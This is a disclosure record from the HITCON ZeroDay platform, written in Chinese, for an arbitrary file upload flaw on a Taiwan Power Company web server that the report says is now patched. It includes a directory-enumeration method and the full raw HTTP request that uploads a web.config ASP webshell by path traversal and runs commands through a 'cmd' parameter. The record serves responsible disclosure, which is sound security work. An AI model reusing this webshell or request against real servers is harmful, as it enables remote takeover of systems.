[Bounty] 台灣電力公司 RCE - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2022-00616
  •  發信 Vendor: 台灣電力公司
  • Title: [Bounty] 台灣電力公司 RCE
  • Introduction: RCE

處理狀態

目前狀態

公開
Last Update : 2022/08/23
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2022/08/04 19:34:50 : 新提交 (由 K4iBr0 更新此狀態)
  • 2022/08/04 20:42:49 : 新提交 (由 K4iBr0 更新此狀態)
  • 2022/08/04 20:59:23 : 新提交 (由 K4iBr0 更新此狀態)
  • 2022/08/05 10:11:17 : 審核中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/08/18 14:36:48 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2022/08/19 05:22:21 : 確認已修補 (由 K4iBr0 更新此狀態)
  • 2022/08/23 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2022-00616
  • 通報者:Kaibro (K4iBr0)
  • 風險:嚴重
  • 類型:遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://ebppsmtp.taipower.com.tw/uploadfile/UploadFile.aspx

敘述

https://ebppsmtp.taipower.com.tw/uploadfile/UploadFile.aspx 存在任意檔案上傳漏洞,上傳檔案之內容及路徑皆為攻擊者可控

由於 web 目錄不在常見路徑下,所以沒辦法直接寫入 webshell

但因為該路徑可以使用短文件名格式,且不存在或無法寫入之路徑會提示上傳失敗 ,所以可以簡單窮舉目錄結構:

- c:/var/
  - customers
  - delta
  - docs
  - downloads
  - FolderRequest
  - export
  - images
  - import
  - list
  - logfiles
  - quest
  - report
  - temp
  - templates
  - update
  - uploads
  - users
  - featur~1
  - subscr~1
  - unsubs~1
  - return~1
  - replym~1
  - receiv~1

經過研究後發現實體路徑 c:/var/* 下的內容對應到網站路徑的 https://ebppsmtp.taipower.com.tw/var/*

由於嘗試上傳 asp / aspx / asmx 皆未被解析,故改以寫入 web.config 方式,成功取得系統控制權限

上傳 web.config webshell:
圖片

觸發指令執行:
圖片

執行 ipconfig 確認該機器位於 10.X.X.X 網段
圖片


(重現漏洞用) 上傳 web.config webshell 之 Raw request:

POST /uploadfile/UploadFile.aspx HTTP/1.1
Host: ebppsmtp.taipower.com.tw
Cookie: ASP.NET_SessionId=g0mm3f454prtib55g5nwkj45
Content-Length: 1354
Origin: https://ebppsmtp.taipower.com.tw
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv00ZBQrKTDBA8xQS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close

------WebKitFormBoundaryv00ZBQrKTDBA8xQS
Content-Disposition: form-data; name="UploadFile"; filename="hi.txt"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!--
<%
Response.Write("-"&"->")
Function GetCommandOutput(command)
    Set shell = CreateObject("WScript.Shell")
    Set exec = shell.Exec(command)
    GetCommandOutput = exec.StdOut.ReadAll
End Function
Response.Write(GetCommandOutput("cmd /c " + Request("cmd")))
Response.Write("<!-"&"-")
%>
-->

------WebKitFormBoundaryv00ZBQrKTDBA8xQS
Content-Disposition: form-data; name="UploadFileName"

../../../../../var/uploads/web.config
------WebKitFormBoundaryv00ZBQrKTDBA8xQS--

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;